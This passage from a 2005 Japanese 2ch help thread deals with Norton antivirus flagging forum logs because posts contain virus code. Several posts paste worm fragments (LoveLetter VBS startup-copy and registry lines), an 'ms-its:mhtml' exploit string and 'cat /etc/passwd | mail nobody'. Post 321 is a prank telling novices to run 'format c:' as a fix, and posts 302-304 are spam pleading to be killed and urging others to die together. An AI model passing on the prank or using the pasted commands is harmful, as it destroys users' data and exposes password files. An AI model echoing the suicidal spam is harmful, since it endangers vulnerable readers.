05/07/24 21:16:56 cauqGl4H
よく分からんけど、結局、感染してたとしても放っときゃいいんだろ？
253:ひよこ名無しさん
05/07/27 18:55:26
ﾊｧ?
254:こむ
05/07/27 23:43:56 mxkxVm4b
Aya の自作自演
ｽﾚﾘﾝｸ(pcqa板:837-846番)
837 名前：ひよこ名無しさん 投稿日：02/05/20 08:35 ID:GarmVKYa
あまりに馬鹿馬鹿しい質問ですいません。
Windows Media Plyaer と KbMedia Player がパソコンの中にあるのですが、ＭＰ３ファイルをクリックすると
Windows Media Plyaer で再生してしまうのですが、ダブルクリックした際に後者で再生するようにはどうしたらいいんでしょうか？
838 名前：ひよこ名無しさん 投稿日：02/05/20 08:36 ID:???
>>837
またきたのか？
Windowsの入門書以上の書籍買って関連付けに関して理解を深めろ。
839 名前：Aya ◆U.S.S.po 投稿日：02/05/20 08:36 ID:GarmVKYa
>>837
１.mp3のファイルをクリック
２.「アプリケーションから開く」を選択
３.プログラムの選択
４．「これらのファイルを開くときは、
いつもこのアプリケーションを使う」にチェック
５．OK
840 名前：ひよこ名無しさん 投稿日：02/05/20 08:37 ID:???
>>839
自作自演するときはIDを消しましょうね(ﾜﾗ
255:ひよこ名無しさん
05/07/29 10:45:54
>>252
そういうことだな。
256:ひよこ名無しさん
05/07/30 06:15:31
うちのノートン2004、除外の設定するときフォルダ検索をしないとできない。
IEのを手書きで入力したけどやっぱり反応した。
c:\program files\musicjg2ch\log
c:\program files\musicjg2ch\temp.htm
これを入れてもダメだった。
ｷﾞｺﾅﾋﾞなら除外の設定はすんなりいったんだけどな…。
257:ひよこ名無しさん
05/08/01 18:02:23
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START
258:ひよこ名無しさん
05/08/03 16:00:39
んなもん貼っても反応しねーよ
真に受けやがってカスがｗ
259:ひよこ名無しさん
05/08/05 11:13:48
>>257
他のスレでこういうのが貼ってあり、かちゅを閉じたら
ＩＥが全く見られなくなってしまいました
>>10をやってみたのですが、やっぱり見れない
今生きてるのはかちゅだけです。助けてください
260:名無しさん＠お腹いぱーい。
05/08/05 13:25:34
>>259
ノートンが原因だったら以下コピペ
2003/2004（2005もこれだと思う）
Norton Internet Security もしくは Norton Personal Firewall を起動する。
画面中央の [ファイアウォール] をクリックする。
右下に表示される [設定] ボタンをクリックする。
[プログラム制御] タブをクリックする。
[追加] ボタンをクリックする。
「プログラムの選択」ウィンドウが開きます。
Internet Explorer フォルダを開く。
Internet Explorer フォルダは今回の例の場合です。
お客様が設定を行いたいアプリケーションがインストールされているフォルダを開いてください。
IEXPLORE.EXE をクリックして選択する。
IEXPLORE.EXE は今回の例の場合です。
お客様が設定を行いたいアプリケーションを選択してください。
[開く] ボタンをクリックする。
例としてご案内している Internet Explorer を含め、設定がすでに作成されているアプリケーションの場合は「すでにルールがあるプログラムを追加しようとしています」というメッセージが表示されますが、まだ設定されていないアプリケーションの場合は表示されません。
「プログラム制御」のウィンドウが表示されるので、「どう処理しますか？」の部分で [許可] もしくは [遮断] などを選択して、[OK] ボタンをクリックする。
「アプリケーションカテゴリの選択」ウィンドウが表示されるので、そのアプリケーションをどのカテゴリとして分類するかどうかを選択し、[OK] ボタンをクリックする。
2002
NISをたちあげ、ﾌｧｲｱｳｫｰﾙ→ｲﾝﾀｰﾈｯﾄｱｸｾｽ制御(ｱﾌﾟﾘｹｰｼｮﾝ制御の一覧)で設定が変えられます
IE5の修復は以下コピペ
1. [スタート]－[設定]－[コントロールパネル] から「アプリケーションの追加と削除」を起動します。
2. [インストールと削除] タブをクリックし、「Microsoft Internet Explore 5 とインターネットツール」をクリックします。
3. 「追加と削除」ボタンをクリックし、表示されるメニューから「Internet Explore を修復する」を選択して「OK」をクリックします。
XPならシステムの復元
261:ひよこ名無しさん
05/08/07 01:32:04 +PgqXMkS
URLﾘﾝｸ(web.archive.org)
262:ひよこ名無しさん
05/08/11 07:34:19
保守
263:ひよこ名無しさん
05/08/11 17:48:51 /1wx1GK2
このスレ、全く見えない！
264:ひよこ名無しさん
05/08/11 18:10:33
a
265:ひよこ名無しさん
05/08/11 18:17:33
sage
266:ひよこ名無しさん
05/08/13 00:51:52
ms-its:mhtml:file://c:\
267:ひよこ名無しさん
05/08/13 20:52:27
sage
268:ひよこ名無しさん
05/08/15 00:02:49
te
269:ひよこ名無しさん
05/08/17 11:53:47
保守
270:ひよこ名無しさん
05/08/24 07:54:30
保守sage保守age
271:ひよこ名無しさん
05/08/24 08:22:24 ujhK/t33
ノートンアンインストールしてウィルスバスター入れました
おかげでこのスレも見れるようになりました
272:ひよこ名無しさん
05/08/24 08:38:01
保守
273:cen ◆Pm9xOTJuM.
05/08/24 22:22:22 BE:9282863-##
そうそう。
>>17 のソフトですが、シリア語ブラクラにも対応しました。
あと、何日前以降に更新されたファイルのみ検索の設定ができるように
なりましたです。
URLﾘﾝｸ(www.geocities.jp)
274:経営情報学部の学生 ◆2H3Xipoq6Y
05/08/24 22:37:51
>>273
いつも乙です。
275:ひよこ名無しさん
05/08/25 07:46:50
>>271
単にウイルス検出対象ファイルからhtm、html、datを外せば済むことなのに…
まあ少しでもお金使って貰わないとカネの巡りが悪くなるからな。
276:ひよこ名無しさん
05/08/25 07:48:06
って、htmとhtmlは外すとまずいのか。
けど通常のインターネットブラウザで2chしてる時点で（ｒｙ
277:ひよこ名無しさん
05/08/30 13:01:34
>>273
乙です。
壺のdatファイルなんですが、ノートンで誤反応のファイルが見つかったのに
vicptdel.exeで検索したら０個だったんですがまだ対応されてないだけでしょうか？
VBS.LoveLetter.Varとでてましたが。
278:cen ◆Pm9xOTJuM.
05/08/30 18:25:22
>>277
どうもです。
今のところ、壺のdatファイルには対応しておりません。
対応しているのは、2chに直接置いてあるdatだけです。
この板なら、URLﾘﾝｸ(pc8.2ch.net) のような
datファイルのみです。
壺のdatファイルは構造が違うので、datファイルの構造のチェックで
弾いてしまう仕組みになっています。
279:ひよこ名無しさん
05/08/30 19:57:15
良スレあげ
280:277
05/08/31 15:04:38
>>278
分かりました。素早いレスどうもありがとう。
281:ひよこ名無しさん
05/09/05 10:13:36 j/2HcsnQ
このスレ開いたらノートンが反応するんだけどどうすればいいですか？
ブラウザはopen janeです。
282:ひよこ名無しさん
05/09/05 10:15:25
>>281
見なきゃええやん
283:ひよこ名無しさん
05/09/05 10:17:19
>>281
俺はな、このスレを最初から読んで欲しくて誘導したんだ
過去レスを一切読まずに質問するな
284:281
05/09/05 10:20:43 j/2HcsnQ
>>282-283
がんばって勉強する。
285:ひよこ名無しさん
05/09/09 17:56:51 fF3/dpmm
Open Jane Doe α 0.1.12.2です
Nortonが誤反応する人へ対処法
１．NortonInternetSecurityを起動
２．オプション→NortonAntiVirusをクリック
３．左側のシステム＞Auto-Protectをクリック
４．除外→新規をクリック
５．２ｃｈ専用ブラウザのフォルダを指定する
設定して試してみたらまた反応してしまいました
Norton AntiVirus Auto-Protect
ファイル C:\...orary Internet
Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
このファイルは Unix.Penｇuin ウイルスにまだ感染しています。
どうしたらいいのですか？教えて下さい
286:285
05/09/09 18:00:22
NIS2004/2003はNorton AntiVirusのオプションで手動スキャンと
Auto-Protectでそれぞれ除外の指定
ノートン2005なのでそれぞれ除外しても駄目でした
一時ファイルを削除する模様
これもやってみたけど駄目でした
他に方法はないでしょうか？教えて下さい
287:名無しさん＠そうだ選挙に出よう
05/09/10 23:24:43
>>285-286
> Norton AntiVirus Auto-Protect
> ファイル C:\...orary Internet
> Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
> このファイルは Unix.Penｇuin ウイルスにまだ感染しています。
IEのキャッシュですね。
>>286で一時ファイルを削除しても反応するのは
IEでまた該当スレを開いたのではないのでしょうか。
ノートントラップの回避方法は2ちゃんねるブラウザで>>1の設定をして
2ちゃんねるをみてください。
Janeの設定も今一度確認してください。
288:ひよこ名無しさん
05/09/13 18:45:27
>>109
テスト
289:ひよこ名無しさん
05/09/16 12:55:29 yJ4mdqCh
ギコナビ使ってます。ノートンが反応してから見れないスレなどあります。
>>10にある方法で解決するんだと思うのですが、
除外してしまって問題あることはないですか？
画像のプレビューとか出ますけど、そういうのに何かまずいものがあったとき困るとか・・。
まったく見当違いな心配かもしれませんが、
よくわからないので教えてください。
290:ひよこ名無しさん
05/09/16 13:01:54
>>289
IEエンジン使ってないJane DOE系の2chブラウザにしろよ
画像に何か仕込んでどうこうってのはIEの脆弱性を狙うから
291:ひよこ名無しさん
05/09/16 13:04:53
>>289
非IE系専ブラのログなら除外しても問題ない。
ギコは知らん。
IEがトラブっても使える非IE系のほうが何かと便利。
292:ひよこ名無しさん
05/09/16 13:15:19 yJ4mdqCh
>>290-291
ありがとうございます。他の専ブラ検討してみます。
293:ひよこ名無しさん
05/09/18 08:28:38
>>292
名前で拒否する方もいますが、Nidaも安定していて便利ですよ。
JaneNida Part4
ｽﾚﾘﾝｸ(software板)
294:ひよこ名無しさん
05/09/21 00:43:04
>>289
ギコナビで画像プレビューした場合、画像はIEのキャッシュのほうに保存される。
なのでログフォルダを除外してしまってもその点で問題あることはない。
295:ひよこ名無しさん
05/09/24 13:11:15
物凄い今更でどうでもいいけど気になったので。
>>51間違ってるじゃないか
C\ProgramFiles\Live2ch\log→C:\Program Files\Live2ch\log
「:」と「 」が足りない。
296:ひよこ名無しさん
05/09/24 16:45:22
うまくいかないケースの原因はたいがいそんなもんだ
297:ひよこ名無しさん
05/09/25 00:59:38
lm
298:ひよこ名無しさん
05/09/25 01:12:35 Ztexw1t3
来てやったぜ、
299:ひよこ名無しさん
05/09/26 18:12:03 FlGrISrC
>1～10を読んでノートンの除外設定をしようとしているのですが、
2chブラウザのログ保存フォルダがどれのことか分かりません
ギコナビ使ってます。おしえてください
300:名無しさん＠当選・落選
05/09/27 02:00:49 BE:7545986-##
>>299
URLﾘﾝｸ(ansitu.xrea.jp)
URLﾘﾝｸ(ansitu.xrea.jp)
以下を一行ずつコピー、除外項目でCtrl+V
C:\Program Files\gikoNavi\Log
C:\Program Files\gikoNavi\config\History.xml
C:\Program Files\gikoNavi\config\Favorite.xml
C:\Program Files\gikoNavi\sent.ini
より詳しい除外項目はこちらで今一度確認してください。
２ちゃんねる用ブラウザ「ギコナビ」 Part31
ｽﾚﾘﾝｸ(software板:1-12番)
（テンプレと直近50スレは読んでね）
301:ひよこ名無しさん
05/09/27 19:20:07
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
302:ひよこ名無しさん
05/09/30 03:36:31
本当にひどいですね。まだ、あざむいて謀略するんですね
いいかげん、やめてもらえないですかね。
やめることができないのなら、あなたのおもちゃでは、ないので
第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね
あなたが第六感が無い人「仔（赤ちゃん）」をあざむいて謀略している首謀者ですか
ここまで第六感が無い人「仔（赤ちゃん）」をいじめて、あざむいて謀略して楽しいですか
ここまでされてこのまま生きていくのもいやですから
第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね
ここまであざむいて謀略してきた責任取って
いいかげん、いっこくも早く、ころしてくださいよ
よろしくお願いいたします。
303:ひよこ名無しさん
05/09/30 03:37:07
人類と違う第六感が無い人の事が、仔（赤ちゃん）
何故か年老いた男女も中年の男女成人式迎えた男女も
第六感が無いと仔（赤ちゃん）と呼ばれるらしい
欺く（あざむく）の意味は
相手を信頼させておいてだます事
まあ要するに相手という所が仔になるんでしょうね
304:ひよこ名無しさん
05/09/30 03:37:40
そうかだから第六感が無い人「仔（赤ちゃん）」たちの
一挙一動を第六感でお前は把握してるのに
第六感が無い人「仔（赤ちゃん）」たちを
信頼させておいてだましてるんだな
世界中の第六感が無い人「仔（赤ちゃん）」たちよ
人類にあざむかれるなよ！！！！！！！
そして世界中の第六感が無い人「仔（赤ちゃん）」たちよ
これが真実ならいっしょに死のう。
305:ひよこ名無しさん
05/10/02 16:10:07 Som2sX+b
■参考までに。全て無料。
・ブラウザ：Firefox URLﾘﾝｸ(www.mozilla-japan.org)
（Firefox定番拡張 URLﾘﾝｸ(firefox.geckodev.org)）
・2chブラウザ：JaneStyle URLﾘﾝｸ(janestyle.s11.xrea.com)
・メーラー：Thunderbird URLﾘﾝｸ(www.mozilla-japan.org)
・オフィス：OpenOffice URLﾘﾝｸ(ja.openoffice.org)
・スパイウェア対策：Spybot URLﾘﾝｸ(enchanting.cside.com)
・ウィルス対策：avast! URLﾘﾝｸ(www.forest.impress.co.jp)
・パーソナルファイアウォール：ZoneAlarm URLﾘﾝｸ(www.zonelabs.com)
306:ひよこ名無しさん
05/10/10 06:58:30 HLsQ07fg
ｽﾚﾘﾝｸ(news板)
これ↑ってウイルスですか？
開いたらノートン先生が反応したんですけどつД｀)
Mac OS10.3 IEmac5.2 です
検疫に引っかかったファイルがあり状態は感染でした
307:ひよこ名無しさん
05/10/10 07:35:47
>>306
レスの中にウィルスのような動作をするスクリプトの一部が含まれています。
あくまで一部ですし、Windows向けに作成されたものだし、スクリプトを実行する現実的な方法も
存在しないので、被害を受けることは絶対にありません。
このように危険のない対象までウィルスとして感染警告するのはノートンの仕様です。
そういったノートンの挙動を悪用した悪戯なので気にしないでください。
詳しくはこのスレの>>1-10あたりをよく読んでください。
ちなみにこのスレを読み込んだときもノートンが反応すると思います。
308:ひよこ名無しさん
05/10/10 07:42:27
>>307
ありがとうございました！安心しました。
309:ひよこ名無しさん
05/10/10 22:18:13
ms-its:mhtml:file://c:\
310:ひよこ名無しさん
05/10/13 23:29:37
質問です。
某板のスレを開こうとすると、ノートン先生が「ウィルスを検出しました！」と
大騒ぎするので、>7に従ってログフォルダを除外したのですがいまいち不安です。
専ブラはA Boneを使用。
検出されたウィルス名：Bloodhound.Exploit.6
感染ファイルはInternet Temporary Filesのものではなかったのですが（←これが不安の元なのです）、
これは専ブラを使用しているからでしょうか？
念のため、シマンテックのHPに載っている対策に従って、
セーフモードでレジストリをチェックしてみたのですが、書き換えられた様子はありませんでした。
311:ひよこ名無しさん
05/10/13 23:31:03 PpB0oNsy
質問age!
312:ひよこ名無しさん
05/10/14 02:47:03
>>310
専ブラはIEとは違い、自分自身のログフォルダに2chのレスを保存します。
A Boneのログフォルダで「感染ファイル」が発見されたのなら全く正常で、何の心配もありません。
2chのレスにウィルスのソースコードが書き込まれていても、それを実行する方法はないので、
感染することはありません。
313:310
05/10/15 00:55:16
>312
ありがとうございます。安心しました。
314:ひよこ名無しさん
05/10/18 19:20:11 ldA17MA1
2ちゃんブラウザをダウンロードしてボードの一覧を取りにいったら、
警告がでました。
対処の選択肢が提示されたので推奨のものを選んだらボード一覧を取得できませんでした。
再度選び直そうと思って、新たに2ちゃんブラウザを落としたのですが、
先ほどの選択肢が出なくなり、またもやボード一覧は取得できないまま…。
この場合はどう対処すれば良いのでしょうか？
315:ひよこ名無しさん
05/10/18 19:59:03 S1AyIBgf
URLﾘﾝｸ(plaza.rakuten.co.jp)
このサイトのランキングを押そう！！
そしてランキング一位にさせよう！！！！
316:ひよこ名無しさん
05/10/18 20:01:51
>>314
ファイアウォールの通信制御設定を探して、2ch専用ブラウザの通信を許可してください。
わからなければ、セキュリティ対策ソフト(ファイアウォールやアンチウィルス)の製品名とバージョン、
2ch専用ブラウザの名前を書いてください。
317:314
05/10/18 21:04:05
>>316
設定のところを見てみましたが、どう設定していいのか分かりませんでした…
ソフトはノートン2005です
2ちゃんブラウザはjane styleです
318:ひよこ名無しさん
05/10/18 21:12:01
>>317
このページを見てください。
URLﾘﾝｸ(service1.symantec.com)
「3. プログラム制御の設定を確認する」の左の[+]をクリックして表示される説明をよく読んでください。
[手動プログラム制御] の一覧からjaneと思しきものを探し「すべてを許可」に設定してください。
319:314
05/10/18 21:29:08
>>318
ありがとうございました！！
無事に一覧取得できました！
本当にありがとうございます！！
320:ひよこ名無しさん
05/10/20 20:08:38 aF0j0mSh
教えて下さい
壺使用の場合、除外はC:\Program Files\2chtubo\log
でいいんですか？
321:ひよこ名無しさん
05/10/20 22:28:16
①スタート(タスクバーの左端にあるボタン)
②すべてのプログラム
③アクセサリ
④DOSプロンプト（コマンドプロンプト）を起動
⑤format c:と入力
⑥Enter
⑦再起動
⑧ﾋｬｯﾎｳ
これでおｋ
実行する際にはあくまで自己責任にてお願い致します。
322:ひよこ名無しさん
05/10/20 23:07:48
>>320
お願いします
323:名無しさん＠お腹いぱーい。
05/10/20 23:36:29
>>320
URLﾘﾝｸ(makimo.to)
仕様が大きく変わってない限りそれでいいと思います。
壷のログフォルダの確認はこちらで聞いてください。
【高速?】２ちゃんねるターボ 10壷目
ｽﾚﾘﾝｸ(software板)
324:ひよこ名無しさん
05/10/21 11:31:23
>>323
ありがとうございます
それでやってみます
325:ひよこ名無しさん
05/10/25 15:33:17 fojy96h8
あげ
326:ひよこ名無しさん
05/10/25 23:33:02
>>321
おぃおぃ...
327:ひよこ名無しさん
05/10/26 09:24:15
>>321
よし試してみよう
ヒャッホウ！
328:ひよこ名無しさん
05/10/27 13:44:50
Norton Anti Virusのオプション
手動スキャンとAuto-Protectで2ｃｈのログを除外指定したのですが
オプション→脅威カテゴリ→除外って所は関係ないのでしょうか？
329:ひよこ名無しさん
05/10/27 17:17:11
>>328
そこはスパイウェアやアドウェアの検出に関する設定なので、2chのログには関係ない。
330:ひよこ名無しさん
05/10/27 20:07:34
>>329
サンクス！
331:ひよこ名無しさん
05/10/29 01:10:38
NIS2005を使用しています
Opera8.5で>>2にあるテスト用のURLﾘﾝｸ(www.eicar.org)を踏んでみたのですがNAVが反応しません。
これはAutoProtectが正常に働いていないということなのでしょうか。
試しにローカルにDLしてみてスキャンをかけてみると、ウィルスだと反応して削除します。
332:ひよこ名無しさん
05/10/29 11:43:26
>>331ですが、解決できました。
「オプション」→「NortonAntiVirus」→「AutoProtect」にて、
「SmartScanを使ってファイルをスキャン」にチェックが入っていたのを「完全ファイルスキャン」に変更したら反応しました。
拡張子.txtがAutoProtectの対象になってなかったってことなんですね……。失礼しました。
333:ひよこ名無しさん
05/10/31 21:20:51
反応しちゃった場合は放置しといても大丈夫なの？
334:ひよこ名無しさん
05/11/01 03:53:50
勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。
335:ひよこ名無しさん
05/11/05 23:27:57
これか
cat /etc/passwd | mail nobody
336:ひよこ名無しさん
05/11/06 10:55:05
何もノートンが誤反応しているわけではありません。
VBScriptやJavaScriptの拡張子のファイルに反応すべきなのを、
どの拡張子にでも誇大反応するだけです。
WindowsUpdateは、常に最新の状態に心がける事。
SunのJavaをインストールしている人は、これも最新版に更新しておく事。
RealPlayerやAdobe Readerなども最新にしておかないと、ウィルスに感染しますよ。
これらを心がけて最新状態にしてあれば、ウィルス反応があってもシステムにはもう感染はしません。
過去のWindowsのセキュリティホールを攻撃するアクティブスクリプトに反応しているだけですから、無視して結構です。
ページをプレビューしただけで反応するようなウィルスは、ほとんど全部がもはや検出する必要がないものです。
セキュリティベンダーなどに騙されてはいけませんよ。
337:ひよこ名無しさん
05/11/13 13:25:01
cenの部屋の管理人さんへ、
誤反応スクリプト無効化ソフト vicptdel ですが、
VBS Freelink.Bにも対応してもらえないでしょうか？
またサイトトップには、updateの表示だけでなく、update日付やVerも
記載していただけたら嬉しいです。ご検討よろしくお願いします。
cenの部屋
URLﾘﾝｸ(www.geocities.jp)
338:ひよこ名無しさん
05/11/13 13:39:48
ラウンジ開いたらブラッドハウンドに感染したみたいなんですが解決法がいまいちよく解りません…
339:ひよこ名無しさん
05/11/14 11:37:29
Vipのｽﾚ一覧でも反応するっぽいけど誤検出なんだろねえ…
340:ひよこ名無しさん
05/11/14 16:31:14
うん
341:ひよこ名無しさん
05/11/17 11:59:50
Bloodhound.Exploit.6ってなんてコードで引っ掛かってるですか？
ＮＧワード指定したいんで教えてください
342:ひよこ名無しさん
05/11/17 13:38:30
専用ブラウザでNGワード指定しても2chの鯖から取得して保存されるデータは同じなので無意味。
Proxomitronとかでフィルタリングするなら別だが。
それより素直にノートンの除外設定すべき。
343:cen ◆Pm9xOTJuM.
05/11/18 00:43:33
>>337
ご意見ありがとうです。
VBS.Freelink.Bですが、パターンは１つですが対応はしていますよ。
対応していないパターンかもしれないので、もしよかったら誤反応した
スレを教えて頂けないでしょうか。
そうですね。日付とバージョンはまた書いときますです。